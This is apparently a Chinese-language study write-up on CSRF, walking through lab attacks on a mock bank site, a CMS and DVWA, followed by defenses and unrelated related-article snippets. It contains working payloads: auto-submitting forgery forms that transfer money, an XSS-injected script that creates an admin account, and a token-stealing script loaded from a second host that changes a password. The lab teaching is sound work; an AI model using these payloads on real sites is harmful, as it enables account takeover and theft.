csrf学习笔记总结

跨站请求伪造csrf

csrf概述

  • 掌握CSRF 漏洞原理

  • 掌握CSRF 漏洞场景

  • 掌握CSRF 漏洞验证

csrf原理

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

关键点
  • 受害者没有退出登录,受害者保持身份认证。

  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。

  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

目标

​ CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

​ CSRF 的场景中,攻击者是没有办法获得服务器的响应。

csrf场景

银行账户转账

搭建模拟银行网站 http://10.4.7.130/bank/

image-20231113103010207

构造虚假网站

构造CSRF 攻击连接

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.130/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
  • 攻击者通过 标签构造GET 请求。

  • 浏览器根据 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息

场景建模

image-20231113103204599

起初admin用户账户余额70499

image-20231113104724450

使用hello用户向admin用户转账1元

image-20231113104803295

再次查看admin用户余额,增加一元,由此可见功能正常

image-20231113104853923

开始csrf

构造跳转网页及功能实现

get请求csrf

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.164/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>

post请求csrf

<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.164/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

首页

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道二</a><br />

此处路径即为

http://10.4.7.164/csrf/

image-20231113105344541

用户访问该连接其中一个就会向hacker转账100

image-20231113105712168

image-20231113105854391

CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

post方式
<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

csrf验证

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证

右键即可点击可构造poc

image-20231113112138515

image-20231113112207437

点击该poc之前余额如图

image-20231113112416509

点击后

image-20231113112431661

触发成功

csrf攻防

CSRF 实战

与XSS漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>
cms_csrf

登录cms后台,管理员账户空

image-20231113112721300

使用csrf新增一个管理员用户

新增用户处抓包构造一个csrf

image-20231113112834625

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.167/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=order&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

写入留言板,利用xss

image-20231113114217048

等待管理员访问留言板

随后添加成功

image-20231113141447572

CSRF 防御

无效防御

使用秘密的Cookie。

仅接收POST 请求。

多步交易:多步交易,有可能会被恶意攻击者预测。

URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。

HTTPS:所有安全机制的前提。

有效防御

验证Referer 字段:

  • 前URL 的上一个URL;

  • 转账页面到转账操作;

  • 伪造?

添加Token 验证:

image-20231113103621215

二次验证:在关键操作之前,再输入密码或者验证码。

HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。

SameSite:Cookie 属性,浏览器自带安全机制。

扩展1-dvwa_csrf

low

抓包看看参数

image-20231113142038571

构造一个csrf链接

http://10.4.7.167/dvwa_2.0.1/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change

访问该链接,修改密码成功

image-20231113142212675

medium

源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

以下操作需要使用ie浏览器,且为三台不同的虚拟机

换另一台虚拟机10.9.47.217

写一个img标签,将url放进去

<img src="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change">

然后将该html文件名命名为10.9.47.221.html 因为会检查refer中有没有servername,文件名中包含也算,然后去除了这两台虚拟机之外的另外一台虚拟机

先访问221的的dvwa靶场,然后访问217的修改密码的html文件,登出过后会发现密码已经修改

以上为非本地靶场操作

本地搭建靶场直接抓包修改或者构造一个简单的img直接访问即可

high

<?php 

if( isset( $_GET[ 'Change' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

触发url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/xss_d/?default=English#<script src="http://10.9.47.217/csrf.js"></script>

将此脚本写成js文件

alert(document.cookie);
var theurl="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/";
if(window.XMLHttpRequest){
    xmlhttp=new XMLHttpRequest();
}else{
    xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200){
        var text = xmlhttp.responseText;
        var regex = /user_token\' value\=\'(.*?)\' \/\>/;
        var match = text.match(regex);
        console.log(match);
        alert(match[1]);
        var token = match[1];
        var new_url = "http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change&user_token="+token;
        
        if(count==0){
            count++;
            xmlhttp.open("GET",new_url,false);
            xmlhttp.send();
        }

    }
}
xmlhttp.open("GET",theurl,false);
xmlhttp.send();
# 其中ip为靶场的ip

将该脚本文件放到非靶场位置的虚拟机也可成功修改密码,依托于dom型的xss完成,如果写成html访问会受到同源策略的影响

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/148571.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于安卓android微信小程序的食谱大全系统

项目介绍 本文以实际运用为开发背景&#xff0c;运用软件工程原理和开发方法&#xff0c;它主要是采用java语言技术和mysql数据库来完成对系统的设计。整个开发过程首先对食谱大全进行需求分析&#xff0c;得出食谱大全主要功能。接着对食谱大全进行总体设计和详细设计。总体设…

利用网络管理解决方案简化网络运维

当今的网络正朝着提高敏捷性和动态功能的方向发展&#xff0c;以支持高级网络要求和关键业务流程&#xff0c;这导致 IT 基础架构也跨越无线、虚拟和混合环境。但是&#xff0c;随着网络的快速发展&#xff0c;如果没有合适的解决方案&#xff0c;IT 管理员很难管理它们&#x…

【功能栏】基于session的模拟短信注册功能

框架&#xff1a; spring boot mybatis-plus 目录 1.创建user表 ​编辑2. mybatis-plus插件 3.导入相关依赖 4.配置文件 5.前端代码 register.html style.css 6.后端代码 entity层 mapper层 sevice层 业务层接口 业务层实现类 controller层 7.调试 1. 未输…

【案例】由coredump引起的思考:程序的加载流程

背景 小米项目的同事&#xff0c;最近遇到了一个crash问题&#xff0c;困扰较久&#xff0c;向我请求帮助。&#xff08;其实是客户指定要求我来分析这个问题&#xff0c;该项目之前是由我负责的&#xff0c;帮客户解决很多较多crash问题。估计是实力得到了客户认可吧&#xff…

使用SSH和SCP传输文件———详细入门教学实践

确保你已经在本地机器上安装了SSH客户端和SCP工具。 获取远程虚拟机的IP地址或主机名以及登录凭据&#xff08;用户名和密码或私钥&#xff09;。 打开终端&#xff08;命令提示符&#xff09;并输入以下命令来传输文件&#xff1a; scp /本地路径/文件 用户名远程虚拟机IP地…

运动蓝牙耳机哪个品牌好?这五款骨传导耳机表现还不错!

作为一个经常跑步运动的人&#xff0c;总感觉运动能够让人暂时远离城市的喧嚣&#xff0c;同时运动也是一种特别好的舒压方法。但跑步的时候如果没有音乐助燃&#xff0c;那是没有灵魂的&#xff0c;这也许就是现代年轻人的矫情吧&#xff0c;我在运动的时候经常会佩戴骨传导耳…

nvm安装node,查看npm版本报错

nvm安装node&#xff0c;使用npm -v报如上图错误&#xff0c;是因为Node版本过高导致&#xff0c;可以降低node版本&#xff0c;使用低一级版本的node. nvm use 16.13.0后来我单独安装node 20.9.0就成功了&#xff0c;不再使用nvm安装Node

mfc140u.dll丢失怎么修复?4种亲测有效的方法分享

在计算机使用过程中&#xff0c;我们可能会遇到各种各样的问题&#xff0c;其中之一就是某些重要的dll文件丢失。DLL文件是动态链接库文件&#xff0c;它们包含了许多程序运行所需的函数和资源。当这些文件丢失或损坏时&#xff0c;可能会导致程序无法正常运行。本文将详细介绍…

完全未接触过软件测试的人,培训两个月就可上岗,这现实吗?

如果你想两个月能学完是可以的&#xff0c;但是只能做一些简单的功能测试&#xff0c;但也只限下面这四种情况 1.自身基础较好&#xff0c;自控力较强 比如一个计算机专业的学生要入行软件测试&#xff0c;可能就不需要进行入门培训了&#xff0c;自己找点视频看看就能很快上…

没有 SegWit 和 Taproot 的比特币序数

序号 &#xff08;Ordinals&#xff09;已成为 BTC 圈子中创建不可替代令牌&#xff08;NFT&#xff09;的热门话题。 它的主要特点是将 NFT 本身完全存储在链上。 我们表明原始的比特币协议已经可以支持它。 Ordinals 不需要任何重大更改&#xff0c;包括 SegWit 和 Taproot。…

骨传导蓝牙耳机哪款好?这五款骨传导耳机闭眼入都不会错!

随着科技的发展&#xff0c;数码产品更新换代的速度也是越来越快&#xff0c;如今无线蓝牙耳机已经占据主流&#xff0c;特别是运动爱好者&#xff0c;很多人都会为自己挑选一款好用的运动耳机&#xff0c;而骨传导耳机异军突起&#xff0c;凭借听歌不入耳、佩戴舒适稳固等特性…

nodejs+express重定向

前言&#xff1a; 本篇代码中需要安装的依赖包包括&#xff1a;request、express 1.常用重定向方法 nodejs中的重定向可以使用.redirect()方法&#xff0c;该方法中可以传两个参数&#xff1a;code和path&#xff0c;code指重定向时&#xff0c;当前访问的这个接口的返回码3…

开发板上网详细教程

开发板上网详细教程 PC端操作开发板操作 写在前面 今天想配置开发板的boa服务器&#xff0c;需要下载sudo apt-get install bison flex&#xff0c;但是一直报错&#xff0c;就蒙蔽了&#xff0c;后来想想真不应该啊&#xff0c;电脑和开发板通信没问题&#xff0c;但也只是如此…

Git笔记简化版

起源 Git是目前世界上最先进的分布式版本控制系统。林纳斯-托瓦兹在开发linux系统时有很多人想有一个平台进行版本控制。当时同类型的版本控制软件是BitKeeper&#xff0c;bitKeep是不开源的。当林纳斯团队无法免费使用它时&#xff0c; 林纳斯花费了一个月左右时间就开发出了…

【算法】最短路径——迪杰斯特拉 (Dijkstra) 算法

目录 1.概述2.代码实现2.1.节点类2.2.邻接矩阵存储图2.3.邻接表存储图2.4.测试 3.扩展3.1.只计算一对顶点之间的最短路径3.2.获取起点到其它节点具体经过的节点 4.应用 本文参考&#xff1a; LABULADONG 的算法网站 1.概述 &#xff08;1&#xff09;在图论中&#xff0c;最短…

个人微信机器人接口

请求URL&#xff1a; http://域名地址/modifyGroupName 请求方式&#xff1a; POST 请求头Headers&#xff1a; Content-Type&#xff1a;application/jsonAuthorization&#xff1a;login接口返回 参数&#xff1a; 参数名必选类型说明wId是String登录实例标识chatRoom…

unity UGUI无限循环滚动居中

最近在做一个ui循环滚动的功能&#xff0c;网上找了半天脚本感觉都和我实际需求不太符合&#xff0c;自己花费一些时间完成了这个功能记录一下。下面开始正题 &#xff0c;我是采用unity自带组件Scroll View来完成&#xff0c;首先设置Scroll View如下图 面板层级结构如下 然…

java springBoot实现RabbitMq消息队列 生产者,消费者

1.RabbitMq的数据源配置文件 # 数据源配置 spring:rabbitmq:host: 127.0.0.1port: 5672username: rootpassword: root#消息发送和接收确认publisher-confirms: truepublisher-returns: truelistener:direct:acknowledge-mode: manualsimple:acknowledge-mode: manualretry:ena…

mysql---主从复制和读写分离

主从复制 主从复制&#xff0c;修改&#xff0c;表里的数据&#xff1a;主mysql上的数据&#xff0c;新增都会同步到从mysql上面试题&#xff1a;mysql的主从复制的模式&#xff1a; 1、异步复制&#xff1a;mysql的默认复制就是异步复制。只要执行完之后&#xff0c;客户端提…

自动化测试Mock神器:轻松模拟HTTP请求..

一、背景 在日常测试过程中或者研发开发过程中&#xff0c;目前接口暂时没有开发完成&#xff0c;测试人员又要提前介入接口测试中&#xff0c;测试人员不仅仅只是简单的编写测试用例&#xff0c;也可以通过一些mock的方法进行来提前根据接口测试的情况进行模拟返回接口的信息…